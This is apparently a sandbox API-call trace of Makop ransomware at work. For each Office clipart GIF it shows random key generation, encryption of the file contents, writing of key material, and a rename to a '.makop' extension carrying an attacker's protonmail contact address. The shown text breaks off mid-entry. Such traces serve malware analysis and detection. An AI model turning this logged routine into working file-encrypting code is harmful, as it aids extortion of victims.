[0155.147] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.147] GetProcessHeap () returned 0x48a0000 [0155.147] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.147] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0155.147] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.147] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0155.148] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.148] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.148] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.148] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.148] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.148] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.148] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.149] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.149] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x172, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x172, lpOverlapped=0x0) returned 1 [0155.149] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x180, dwBufLen=0x180 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x180) returned 1 [0155.149] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.149] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x180, lpOverlapped=0x0) returned 1 [0155.149] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.149] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.149] SetEndOfFile (hFile=0xf0) returned 1 [0155.158] GetProcessHeap () returned 0x48a0000 [0155.159] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.159] GetProcessHeap () returned 0x48a0000 [0155.159] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.159] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0155.159] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.162] CloseHandle (hObject=0xf0) returned 1 [0155.162] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x976a4300, ftCreationTime.dwHighDateTime=0x1bd4e6c, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x976a4300, ftLastWriteTime.dwHighDateTime=0x1bd4e6c, nFileSizeHigh=0x0, nFileSizeLow=0x899, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01734_.GIF", cAlternateFileName="")) returned 1 [0155.162] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF") returned 63 [0155.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0155.165] GetProcessHeap () returned 0x48a0000 [0155.165] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.165] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.165] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0155.165] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x7, lpOverlapped=0x0) returned 1 [0155.169] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.170] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.170] GetProcessHeap () returned 0x48a0000 [0155.170] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.170] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0155.170] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.171] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0155.171] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.171] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.171] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.171] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.171] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.172] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.172] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.172] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.172] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x899, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x899, lpOverlapped=0x0) returned 1 [0155.172] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8a0, dwBufLen=0x8a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8a0) returned 1 [0155.172] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.172] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8a0, lpOverlapped=0x0) returned 1 [0155.172] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.172] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.173] SetEndOfFile (hFile=0xf0) returned 1 [0155.179] GetProcessHeap () returned 0x48a0000 [0155.179] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.179] GetProcessHeap () returned 0x48a0000 [0155.179] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.179] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0155.180] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.181] CloseHandle (hObject=0xf0) returned 1 [0155.181] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b18d700, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b18d700, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01740_.GIF", cAlternateFileName="")) returned 1 [0155.181] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF") returned 63 [0155.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0155.183] GetProcessHeap () returned 0x48a0000 [0155.183] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.183] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.183] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0155.183] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0155.187] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.187] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.187] GetProcessHeap () returned 0x48a0000 [0155.187] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.187] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0155.188] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.188] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0155.188] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.188] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.188] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.188] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.189] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.189] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.189] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.189] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.189] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2c3, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2c3, lpOverlapped=0x0) returned 1 [0155.189] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2d0) returned 1 [0155.189] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.189] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2d0, lpOverlapped=0x0) returned 1 [0155.190] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.190] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.190] SetEndOfFile (hFile=0xf0) returned 1 [0155.197] GetProcessHeap () returned 0x48a0000 [0155.197] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.197] GetProcessHeap () returned 0x48a0000 [0155.197] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.197] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0155.197] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.199] CloseHandle (hObject=0xf0) returned 1 [0155.199] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49077500, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49077500, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01742_.GIF", cAlternateFileName="")) returned 1 [0155.199] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF") returned 63 [0155.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0155.200] GetProcessHeap () returned 0x48a0000 [0155.200] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.200] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0155.200] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0155.201] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0155.206] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.206] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.207] GetProcessHeap () returned 0x48a0000 [0155.207] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0155.207] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0155.207] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.207] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0155.207] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0155.207] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0155.207] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0155.208] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0155.208] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0155.208] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0155.208] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0155.208] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.208] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x253, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x253, lpOverlapped=0x0) returned 1 [0155.209] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x260, dwBufLen=0x260 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x260) returned 1 [0155.209] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.209] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x260, lpOverlapped=0x0) returned 1 [0155.209] CryptDestroyKey (hKey=0x48c7128) returned 1 [0155.209] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.209] SetEndOfFile (hFile=0xf0) returned 1 [0155.217] GetProcessHeap () returned 0x48a0000 [0155.219] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0155.219] GetProcessHeap () returned 0x48a0000 [0155.219] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0155.219] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0155.219] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0155.220] CloseHandle (hObject=0xf0) returned 1 [0155.221] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47d64800, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47d64800, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x4d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01743_.GIF", cAlternateFileName="")) returned 1 [0155.221] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF") returned 63 [0155.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01743_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01743_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0155.222] GetProcessHeap () returned 0x48a0000 [0155.222] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0155.222] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, 